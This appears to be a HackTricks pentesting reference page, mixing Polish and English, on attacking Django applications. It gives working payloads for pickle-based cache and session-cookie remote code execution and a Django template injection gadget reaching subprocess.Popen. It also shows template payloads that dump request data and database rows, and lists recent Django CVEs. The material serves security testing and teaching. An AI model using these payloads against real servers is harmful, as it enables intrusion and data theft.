Django
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Manipulacja cache prowadząca do RCE
Django’s default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. Jeśli atakujący uzyska uprawnienia do zapisu w cache, może eskalować tę podatność do RCE na serwerze.
Cache w Django jest przechowywany w jednym z czterech miejsc: Redis, memory, files, or a database. Cache przechowywany na serwerze Redis lub w bazie danych jest najbardziej prawdopodobnym wektorem ataku (Redis injection i SQL injection), ale atakujący może też wykorzystać file-based cache, aby zamienić dowolny zapis w RCE. Opiekunowie projektu uznali to za nieistotne. Ważne jest, że folder plików cache, nazwa tabeli SQL oraz szczegóły serwera Redis będą zależeć od implementacji.
On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:
python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is Turing-complete. Jeśli dane dostarczone przez użytkownika są renderowane jako template string (na przykład przez wywołanie Template(user_input).render() lub gdy |safe/format_html() usuwa auto-escaping), atakujący może osiągnąć pełne SSTI → RCE.
Detection
- Szukaj dynamicznych wywołań
Template()/Engine.from_string()/render_to_string()które zawierają any nieprzefiltrowane dane z żądania. - Wyślij time-based lub arithmetic payload:
{{7*7}}
Jeśli wyrenderowany output zawiera 49, to znaczy, że dane wejściowe zostały skompilowane przez silnik szablonów.
3. DTL is not Jinja2: arithmetic/loop payloads regularnie wywołują TemplateSyntaxError/500, mimo że nadal potwierdzają ewaluację. Polyglots like ${{<%[%'"}}% are good crash-or-render probes.
Context exfiltration when RCE is blocked
Nawet jeśli object-walking do subprocess.Popen zawiedzie, DTL nadal ujawnia obiekty będące w zasięgu:
{{ request }} {# confirm SSTI #}
{{ request.META }} {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }} {# QuerySet in the context? #}
{{ users.0 }} {# first row #}
{{ users.values }} {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}
QuerySet.values() przekształca wiersze w słowniki, omijając __str__ i ujawniając wszystkie pola zwracane przez queryset. Działa to nawet gdy bezpośrednie wykonywanie kodu Pythona jest filtrowane.
Automation pattern: uwierzytelnij się, pobierz token CSRF, zapisz payload poprzedzony markerem w dowolnym polu trwałym (np. username/profile bio), następnie zażądaj widoku, który go renderuje (AJAX endpoints like /likes/<id> są common). Parsuj stabilny atrybut (np. title="...") żeby odzyskać renderowany wynik i iterować payloady.
Prymityw prowadzący do RCE
Django blokuje bezpośredni dostęp do __import__, ale graf obiektów Pythona jest osiągalny:
{{''.__class__.mro()[1].__subclasses__()}}
Znajdź indeks subprocess.Popen (≈400–500 w zależności od builda Pythona) i wykonaj dowolne polecenia:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Bardziej uniwersalnym i bezpieczniejszym gadgetem jest iterowanie aż cls.__name__ == 'Popen'.
Ten sam gadget działa w przypadku funkcji renderowania szablonów Debug Toolbar lub Django-CMS, które niewłaściwie przetwarzają wejścia użytkownika.
Zobacz także: ReportLab/xhtml2pdf PDF export RCE
Aplikacje oparte na Django często integrują xhtml2pdf/ReportLab do eksportu widoków jako PDF. Gdy HTML kontrolowany przez użytkownika wpływa na generowanie PDF, rl_safe_eval może ewaluować wyrażenia wewnątrz potrójnych nawiasów [[[ ... ]]], umożliwiając wykonanie kodu (CVE-2023-33733). Szczegóły, payloady i mitigacje:
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
RCE przez ciasteczko sesyjne oparte na Pickle
Jeśli ustawienie SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' jest włączone (lub używany jest własny serializer, który deserializuje pickle), Django deszyfruje i deserializuje (unpickle) ciasteczko sesyjne zanim wywoła jakikolwiek kod widoku. W związku z tym posiadanie ważnego klucza podpisującego (domyślnie SECRET_KEY projektu) wystarcza do natychmiastowego zdalnego wykonania kodu.
Wymagania ataku
- Serwer używa
PickleSerializer. - Atakujący zna / może odgadnąć
settings.SECRET_KEY(leaks via GitHub,.env, error pages, etc.).
Dowód koncepcji
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Wyślij wynikowe cookie, a payload wykona się z uprawnieniami WSGI worker.
Środki zaradcze: Zachowaj domyślny JSONSerializer, rotuj SECRET_KEY i skonfiguruj SESSION_COOKIE_HTTPONLY.
Najnowsze (2023-2025) krytyczne CVE Django, które pentesterzy powinni sprawdzić
- CVE-2025-48432 – Log Injection via unescaped
request.path(naprawione 4 Jun 2025). Pozwala atakującym przemycić znaki nowej linii/kody ANSI do plików logów i zanieczyścić dalszą analizę logów. Poziom poprawek ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Critical SQL injection w
QuerySet.values()/values_list()dotyczącyJSONField(CVSS 9.8). Spreparuj klucze JSON tak, by wyłamać się z cudzysłowów i wykonać dowolne zapytania SQL. Naprawione w 4.2.15 / 5.0.8.
Zawsze zrób fingerprint dokładnej wersji frameworka za pomocą strony błędu X-Frame-Options lub hasha /static/admin/css/base.css i testuj powyższe, gdy ma to zastosowanie.
Źródła
- Komunikat bezpieczeństwa Django – “Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432” – 4 Jun 2025.
- OP-Innovate: “Django releases security updates to address SQL injection flaw CVE-2024-42005” – 11 Aug 2024.
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
- Dokumentacja Django – QuerySet.values(): https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values
- 0xdf: HackNet (HTB) — HTML Attribute Injection → Django SSTI → QuerySet.values data dump → Pickle FileBasedCache RCE – https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


